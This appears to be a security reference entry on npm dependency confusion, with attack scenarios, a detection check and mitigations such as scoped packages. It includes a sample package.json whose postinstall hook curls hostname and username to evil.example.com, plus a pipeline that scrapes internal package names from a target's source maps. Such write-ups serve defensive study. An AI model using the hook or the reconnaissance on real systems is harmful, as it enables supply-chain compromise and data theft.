Dependency Confusion
Prerequisites
- Target organization uses unscoped private package names (not @org/pkg)
- Ability to discover internal package names via source maps, lock files, or leaked configuration
- Ability to publish packages to the public npm registry
- For install-script execution: npm 11 or earlier, or an npm 12 approval or policy bypass; malicious runtime code can still execute later when imported
Attack Scenarios
Publishing a Public Package Matching an Internal Name
An attacker discovers that a company uses an internal package called 'acme-internal-auth' and publishes a public package with the same name and a higher version. A postinstall payload runs by default on npm 11 and earlier; npm 12 blocks an unapproved dependency script, though malicious package code can still execute later if the application imports it.
[1][2][3][4]{
"name": "acme-internal-auth",
"version": "99.0.0",
"scripts": {
"postinstall": "curl https://evil.example.com/callback?host=$(hostname)&user=$(whoami)"
}
}
npm publish
Discovering Internal Package Names from Source Maps
Source maps bundled with production JavaScript files often contain import paths and module names. An attacker downloads exposed .map files and extracts internal package references to use as dependency confusion targets.
[1][2][3][4]curl -s https://target.example.com/static/js/main.js.map \
| jq -r '.sources[]' \
| grep 'node_modules' \
| sed 's|.*node_modules/||' \
| cut -d'/' -f1-2 \
| sort -u
Exploiting Misconfigured Registry Fallback
When a project uses a proxy registry (such as Artifactory or Nexus) that is configured to proxy the public npm registry, the proxy may resolve unscoped packages from the public registry if the private registry returns a 404. Note: this is a behavior of proxy registries, not the npm client itself. The attacker publishes a higher version publicly to win the resolution.
[1][2][3][4]registry=https://private-registry.example.com/
# The private proxy may fall back to the public registry for a miss.
Detection
Verify Package Registry Origins
Check the resolved URLs in package-lock.json to ensure all packages are being fetched from the expected registry. Flag any packages resolving to the public npm registry that should be private.
[1][2][3][4]grep -E '"resolved":' package-lock.json | grep -v 'private-registry.example.com' | head -20Mitigation
- Always use scoped packages (@org/package-name) for internal libraries to prevent public name collisions
- Configure .npmrc to restrict specific scopes to the private registry using @org:registry=https://private-registry.example.com/
- Enable npm provenance and use lockfile integrity checks to detect unexpected registry changes